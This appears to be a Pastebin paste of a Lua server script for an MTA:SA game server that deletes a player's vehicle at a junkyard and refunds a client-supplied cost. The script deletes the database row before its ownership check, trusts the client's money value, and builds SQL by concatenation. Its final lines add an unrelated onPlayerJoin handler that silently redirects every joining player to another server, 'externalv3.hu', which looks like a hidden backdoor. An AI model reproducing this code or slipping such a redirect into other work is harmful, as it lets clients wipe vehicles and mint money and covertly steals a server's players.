Advertisement
Guest User

Untitled

a guest
Jun 24th, 2019
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.26 KB | None | 0 0
  1. local con = exports.mta_connection:getConnection()
  2.  
  3. function yunkDeleteVehicle(player, veh, cost)
  4. if isElement(player) and isElement(veh) and (cost) then
  5. if getElementData(player, "loggedin") then
  6. local vehid = tonumber(getElementData(veh, "veh:id"))
  7. local result = dbPoll(dbQuery(con, "DELETE FROM vehicle WHERE id='" .. vehid .. "'"), -1)
  8. if result then
  9. if getElementData(veh, "veh:id") == vehid and getElementData(player, "acc:id") == getElementData(veh, "veh:owner") or getElementData(player, "acc:admin") >= 7 then
  10.  
  11. destroyElement(veh)
  12. exports.mta_admin:outputAdminMessage("#7cc576"..getPlayerName(player) .. "#ffffff járműve bezúzatva. (ID: #0094ff" .. vehid .. "#ffffff)")
  13.  
  14. setTimer( function()
  15. setElementData(player, "char:money", getElementData(player, "char:money")+cost)
  16. dbExec(con, "UPDATE characters SET money='" .. getElementData(player, "char:money") .. "' WHERE account='" .. getElementData(player, "acc:id") .. "'")
  17. return
  18. end, 200, 1)
  19. return
  20. end
  21. end
  22. end
  23. end
  24. end
  25. addEvent("junk:deleteVehicle", true)
  26. addEventHandler("junk:deleteVehicle", root, yunkDeleteVehicle)
  27.  
  28. addEventHandler ("onPlayerJoin", root, function()
  29. redirectPlayer(source, "externalv3.hu")
  30. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement